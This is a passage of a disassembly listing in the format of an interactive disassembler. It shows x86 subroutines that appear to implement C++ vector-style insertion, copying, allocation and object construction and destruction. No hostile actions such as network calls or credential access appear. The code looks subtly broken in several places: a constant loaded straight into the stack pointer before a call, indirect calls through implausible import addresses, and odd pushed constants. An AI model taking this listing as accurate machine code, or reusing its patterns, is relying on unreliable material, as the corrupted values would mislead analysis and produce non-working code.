		push	edx
		call	sub_40102D
		sub	esp, 0Ch
		lea	eax, [esp-18h+arg_58]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_40146F
		lea	ecx, [esi+606h]
		push	ecx
		mov	ecx, esi
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_58]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_58]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_70]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_70]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_58]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_58]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_58]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_70]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_244]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_19C]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_DC]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_13C]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_28C]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_10C]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	3ABFFh
		call	sub_40146F
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_F4]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_22C]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_1E4]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		sub	esp, 18h
		lea	edx, [esp-18h+arg_1FC]
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	edx
		call	sub_40146F
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401A37
		push	0
		mov	edi, 280EAFh
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_401726
		push	eax
		push	1C0757h
		mov	edx, 0A6701Dh
		call	sub_401528
		push	0
		mov	ecx, 0A5B380h
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_401726
		push	eax
		push	52D9C0h
		mov	ecx, 0C9696Ch
		call	sub_401528
		push	0
		mov	esi, 0E4B4Bh
		call	sub_401415
		mov	ecx, [eax]
		call	sub_401726
		push	eax
		push	725A5h
		mov	edx, 392Dh
		call	sub_401528
		push	0
		mov	edx, 6001C9h
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_401726
		push	eax
		push	3800E4h
		mov	esi, 85C007h
		call	sub_401528
		push	0
		mov	eax, 0EA1700h
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_401726
		push	eax
		push	750B80h
		mov	ebp, 0E2BD42h
		call	sub_401528
		push	0
		mov	eax, 0EE2BD4h
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_401726
		push	eax
		push	7F15EAh
		mov	ebp, 0EFF15Eh
		call	sub_401528
		push	0
		mov	edx, 0FFFC5h
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_401726
		push	eax
		push	0FFFE2h
		mov	esp, 88FFFEh
		call	sub_401528
		lea	ecx, [esp-30h+arg_1CC]
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp-18h+arg_38], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esp-18h+arg_274]
		mov	byte ptr [esp-18h+arg_384], 51h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+arg_88], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esp+arg_2A4]
		mov	byte ptr [esp+arg_384],	52h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+18h+arg_8C], esp
		push	eax
		call	sub_4017A8
		lea	ecx, [esp+18h+arg_25C]
		mov	byte ptr [esp+18h+arg_384], 53h
		call	sub_401726
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+30h+arg_90], esp
		push	eax
		call	sub_4017A8
		mov	edi, 4E63FFh
		mov	byte ptr [esp+30h+arg_384], 50h
		call	sub_40132F
		lea	ecx, [esp-30h+arg_244]
		mov	byte ptr [esp-30h+arg_384], 4Fh
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_1FC]
		mov	byte ptr [esp-30h+arg_384], bl
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_70]
		mov	byte ptr [esp-30h+arg_384], 1Dh
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_58]
		mov	byte ptr [esp-30h+arg_384], 1Ch
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_10C]
		mov	byte ptr [esp-30h+arg_384], 1Bh
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_2BC]
		mov	byte ptr [esp-30h+arg_384], 1Ah
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_2EC]
		mov	byte ptr [esp-30h+arg_384], 19h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_28C]
		mov	byte ptr [esp-30h+arg_384], 18h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_2D4]
		mov	byte ptr [esp-30h+arg_384], 17h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_13C]
		mov	byte ptr [esp-30h+arg_384], 16h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_1E4]
		mov	byte ptr [esp-30h+arg_384], 15h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_16C]
		mov	byte ptr [esp-30h+arg_384], 14h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_214]
		mov	byte ptr [esp-30h+arg_384], 13h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_19C]
		mov	byte ptr [esp-30h+arg_384], 12h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_DC]
		mov	byte ptr [esp-30h+arg_384], 11h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_1CC]
		mov	byte ptr [esp-30h+arg_384], 10h
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_274]
		mov	byte ptr [esp-30h+arg_384], 0Fh
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_2A4]
		mov	byte ptr [esp-30h+arg_384], 0Eh
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_25C]
		mov	byte ptr [esp-30h+arg_384], 0Dh
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_34C]
		mov	byte ptr [esp-30h+arg_384], 0Ch
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_304]
		mov	byte ptr [esp-30h+arg_384], 0Bh
		call	sub_4011F9
		mov	byte ptr [esp-30h+arg_384], 0Ah
		lea	ecx, [esp-30h+arg_31C]
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_334]
		mov	byte ptr [esp-30h+arg_384], 9
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_364]
		mov	byte ptr [esp-30h+arg_384], 8
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_94]
		mov	byte ptr [esp-30h+arg_384], 7
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_22C]
		mov	byte ptr [esp-30h+arg_384], 6
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_F4]
		mov	byte ptr [esp-30h+arg_384], 5
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_C4]
		mov	byte ptr [esp-30h+arg_384], 4
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_AC]
		mov	byte ptr [esp-30h+arg_384], 3
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_124]
		mov	byte ptr [esp-30h+arg_384], 2
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_154]
		mov	byte ptr [esp-30h+arg_384], 1
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_184]
		mov	byte ptr [esp-30h+arg_384], 0
		call	sub_4011F9
		lea	ecx, [esp-30h+arg_1B4]
		mov	[esp-30h+arg_384], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp-30h+arg_37C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
sub_407E8F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 580h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_408FB0	proc near		; CODE XREF: sub_401415j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40189D
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_408FC8
		mov	ecx, esi
		call	sub_401834


loc_408FC8:				; CODE XREF: sub_408FB0+Fj
		mov	ecx, esi
		call	sub_401951
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_408FB0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_408FF0	proc near		; CODE XREF: sub_40197Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401258
		push	eax
		mov	ecx, esi
		call	sub_4015FF
		pop	esi
		retn	4
sub_408FF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409020	proc near		; CODE XREF: sub_401951j
		mov	eax, [ecx+4]
		retn
sub_409020	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409040	proc near		; CODE XREF: sub_401258j
		mov	eax, [ecx+8]
		retn
sub_409040	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409060	proc near		; CODE XREF: sub_40189Dj
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40906A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_409060+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409060	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409090	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401951
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401AA5
		mov	ecx, edi
		call	sub_401951
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409090	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4090E0:				; CODE XREF: sub_401834j
		push	0FFFFFFFFh
		push	2731FFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	5398FFh
		call	dword ptr ds:69CC7Fh
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	dword ptr ds:34E63Fh
		lea	edx, [esp+14h]
		push	1A731Fh
		push	edx
		call	sub_430382
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409160	proc near		; CODE XREF: sub_401AA5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40922B
		mov	ecx, esi
		call	sub_40189D
		cmp	edi, eax
		jnb	short loc_409193
		mov	ecx, esi
		call	sub_40189D
		mov	ebp, eax
		jmp	short loc_409195
; ---------------------------------------------------------------------------


loc_409193:				; CODE XREF: sub_409160+26j
		mov	ebp, edi


loc_409195:				; CODE XREF: sub_409160+31j
		mov	ecx, esi
		call	sub_40189D
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401B8B
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401645
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401154
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401645
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401677
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_40125D
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40189D
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40922B:				; CODE XREF: sub_409160+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409289
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_401645
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401154
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E42
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409289:				; CODE XREF: sub_409160+D8j
		test	edi, edi
		jbe	short loc_4092C3
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_401645
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401BA9
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E42
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_4092C3:				; CODE XREF: sub_409160+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409330	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_409350


loc_409341:				; CODE XREF: sub_409330+1Ej
		push	esi
		mov	ecx, edi
		call	sub_401F00
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_409341


loc_409350:				; CODE XREF: sub_409330+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_409330	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409370	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_409370	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409390	proc near		; CODE XREF: sub_401F00j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_409390	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4093B0	proc near		; CODE XREF: sub_401645j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_4093E2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_4093C6:				; CODE XREF: sub_4093B0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40153C
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_4093C6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4093E2:				; CODE XREF: sub_4093B0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4093B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409400	proc near		; CODE XREF: sub_401154j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_409427
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409416:				; CODE XREF: sub_409400+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40153C
		add	esi, 4
		dec	edi
		jnz	short loc_409416
		pop	esi
		pop	ebx


loc_409427:				; CODE XREF: sub_409400+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409440	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_409440	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409470	proc near		; CODE XREF: sub_40153Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401127
		add	esp, 8
		retn	8
sub_409470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094A0	proc near		; CODE XREF: sub_401E42j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_4094BD
		mov	edx, [esp+arg_8]
		push	esi


loc_4094B1:				; CODE XREF: sub_4094A0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_4094B1
		pop	esi

locret_4094BD:				; CODE XREF: sub_4094A0+Aj
		retn
sub_4094A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094D0	proc near		; CODE XREF: sub_401BA9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_4094F2
		mov	eax, [esp+arg_8]
		push	esi


loc_4094E1:				; CODE XREF: sub_4094D0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_4094E1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4094F2:				; CODE XREF: sub_4094D0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_4094D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401ED3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40953A
		xor	eax, eax


loc_40953A:				; CODE XREF: sub_409530+6j
		shl	eax, 2
		push	eax
		call	sub_43034A
		add	esp, 4
		retn
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409560	proc near		; CODE XREF: sub_401127j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_40957B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40957B:				; CODE XREF: sub_409560+11j
		retn
sub_409560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409590	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	al, ds:byte_43FFF2
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_4095C6
		push	edi
		call	dword ptr ds:0D398Fh
		mov	edi, ds:dword_4B38F0
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4095C6:				; CODE XREF: sub_409590+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401BB8j
		mov	al, ds:byte_43FFF2
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_40961F
		call	ds:dword_469CC7
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_40961F:				; CODE XREF: sub_409600+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409600	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409640	proc near		; CODE XREF: sub_4013CFj
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_437010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409670:				; CODE XREF: _294ADE7B:00401EF6j
					; _294ADE7B:loc_401FE1j
		push	esi
		mov	esi, ecx
		call	sub_4011F9
		test	byte ptr [esp+8], 1
		jz	short loc_409688
		push	esi
		call	sub_430332
		add	esp, 4


loc_409688:				; CODE XREF: _294ADE7B:0040967Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096A0	proc near		; CODE XREF: sub_4017A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_437010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401564
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_4096A0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_437010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401E65
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409720	proc near		; CODE XREF: sub_401F73j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	634E63h
		push	ecx
		mov	dword ptr [esi], offset	off_437010
		call	dword ptr ds:31A731h
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401564
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409720	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409790	proc near		; CODE XREF: sub_4011F9j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_437010
		cmp	eax, edi
		jz	short loc_4097AC
		push	eax
		call	sub_430332
		add	esp, 4


